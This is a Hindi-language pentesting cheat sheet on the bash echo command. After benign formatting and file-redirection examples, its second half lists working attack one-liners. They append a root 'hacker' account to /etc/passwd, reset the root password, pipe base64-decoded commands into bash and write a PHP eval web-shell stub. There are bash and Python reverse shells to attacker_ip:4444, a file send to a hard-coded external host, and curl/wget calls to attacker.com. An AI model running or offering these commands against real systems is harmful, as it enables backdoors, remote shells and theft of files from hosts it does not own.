इको का पैठ में उपयोग
इको के सामान्य विकल्प
मूल विकल्प
bash
1# -n: अंत में न्यूलाइन कैरेक्टर नहीं छापेगा
2echo -n "Hello" # आउटपुट: Hello
3echo "Hello" # आउटपुट: Hello\n
4
5# -e: एस्केप कैरेक्टर की व्याख्या को सक्षम करता है
6echo -e "Hello\nWorld" # आउटपुट: Hello
7 # World
8
9# -E: एस्केप कैरेक्टर की व्याख्या को अक्षम करता है (डिफ़ॉल्ट)
10echo -E "Hello\nWorld" # आउटपुट: Hello\nWorld
11
12# सामान्य एस्केप कैरेक्टर
13echo -e "\a" # घंटी बजाता है
14echo -e "\b" # बैकस्पेस
15echo -e "\c" # न्यूलाइन नहीं
16echo -e "\f" # पेज फीड
17echo -e "\n" # न्यूलाइन
18echo -e "\r" # कैरेज रिटर्न
19echo -e "\t" # हॉरिजॉन्टल टैब
20echo -e "\v" # वर्टिकल टैब
21echo -e "\\" # बैकस्लैशरंगीन आउटपुट
bash
1# टेक्स्ट रंग
2echo -e "\033[31mलाल टेक्स्ट\033[0m" # लाल
3echo -e "\033[32mहरा टेक्स्ट\033[0m" # हरा
4echo -e "\033[33mपीला टेक्स्ट\033[0m" # पीला
5echo -e "\033[34mनीला टेक्स्ट\033[0m" # नीला
6echo -e "\033[35mबैंगनी टेक्स्ट\033[0m" # बैंगनी
7echo -e "\033[36mहल्का नीला टेक्स्ट\033[0m" # हल्का नीला
8
9# बैकग्राउंड रंग
10echo -e "\033[41mलाल बैकग्राउंड\033[0m" # लाल बैकग्राउंड
11echo -e "\033[42mहरा बैकग्राउंड\033[0m" # हरा बैकग्राउंड
12echo -e "\033[43mपीला बैकग्राउंड\033[0m" # पीला बैकग्राउंड
13
14# टेक्स्ट स्टाइल
15echo -e "\033[1mबोल्ड टेक्स्ट\033[0m" # बोल्ड
16echo -e "\033[4mअंडरलाइन टेक्स्ट\033[0m" # अंडरलाइन
17echo -e "\033[5mचमकदार टेक्स्ट\033[0m" # चमकदारस्वरूपित आउटपुट
bash
1# वेरिएबल का उपयोग
2name="World"
3echo "Hello $name" # आउटपुट: Hello World
4echo "Hello ${name}" # आउटपुट: Hello World
5
6# कमांड रिप्लेसमेंट
7echo "वर्तमान समय: $(date)"
8echo "वर्तमान समय: `date`"
9
10# विशेष कैरेक्टर को एस्केप करना
11echo "यह एक \$डॉलर चिह्न है" # आउटपुट: यह एक $डॉलर चिह्न है
12echo "यह एक \"उद्धरण\" है" # आउटपुट: यह एक "उद्धरण" हैफ़ाइल ऑपरेशन विकल्प
bash
1# फ़ाइल में जोड़ना
2echo "नई लाइन" >> file.txt
3
4# फ़ाइल को ओवरराइट करना
5echo "नई सामग्री" > file.txt
6
7# मल्टीलाइन फ़ाइल बनाना
8echo -e "लाइन1\nलाइन2\nलाइन3" > multiline.txt
9
10# हियर डॉक्यूमेंट का उपयोग
11echo << EOF > file.txt
12लाइन1
13लाइन2
14लाइन3
15EOFइको स्ट्रिंग प्रदर्शित करता है
bash
1echo "Hello ICTRUN"
2 Hello ICTRUN
3
4echo "$str" Good Evening
5 Good Eveningipv4 ipforward खोलना
bash
1echo 1 > /proc/sys/net/ipv4/ip_forwardरूट लेवल यूजर जोड़ना
bash
1echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwdरूट पासवर्ड बदलना
bash
1echo "root:newpassword" | chpasswdइको -e का उपयोग करके बिना इंटरैक्शन के पासवर्ड बदलना
bash
1echo -e "newpassword\nnewpassword" | passwd usernameबेस64 के साथ कमांड को जोड़कर चलाना
bash
1echo "whoami" | base64
2echo "d2hvYW1pCg==" | base64 -d | bashबेस64 का उपयोग करके 1.php में एक php वन-लाइनर लिखना
bash
1echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.phpरिवर्स शेल
bash
1# बैश रिवर्स शेल
2echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash
3
4# पाइथन रिवर्स शेल
5echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bashफ़ाइल ऑपरेशन
bash
1# फ़ाइल बनाना
2echo "सामग्री" > file.txt
3
4# सामग्री जोड़ना
5echo "अधिक सामग्री" >> file.txt
6
7# फ़ाइल को खाली करना
8echo "" > file.txtपर्यावरण चर ऑपरेशन
bash
1# पर्यावरण चर सेट करना
2echo "export PATH=/new/path:$PATH" >> ~/.bashrc
3
4# प्रॉक्सी सेटिंग जोड़ना
5echo "export http_proxy=http://proxy:port" >> ~/.bashrcसिस्टम कॉन्फ़िगरेशन संशोधन
bash
1# सिस्टम सीमा को संशोधित करना
2echo "* soft nofile 65535" >> /etc/security/limits.conf
3
4# कर्नेल पैरामीटर को संशोधित करना
5echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.confफ़ाइल ट्रांसफर
फ़ाइल भेजना
bash
1# विधि 1: nc का उपयोग करना
2export LFILE=/tmp/1.tar.gz
3bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'
4
5# विधि 2: बेस64 का उपयोग करना
6cat file.txt | base64 | echo "$(cat -)" > file.txt.b64फ़ाइल प्राप्त करना
bash
1# विधि 1: nc का उपयोग करना
2nc -v -l -p 4422 > 1.tar.gz
3
4# विधि 2: बेस64 का उपयोग करना
5cat file.txt.b64 | base64 -d > file.txtफ़ाइल ट्रांसफर के अन्य तरीके
bash
1# curl का उपयोग करके फ़ाइल अपलोड करना
2echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"
3
4# wget का उपयोग करके फ़ाइल डाउनलोड करना
5echo "wget http://attacker.com/file -O /path/to/save"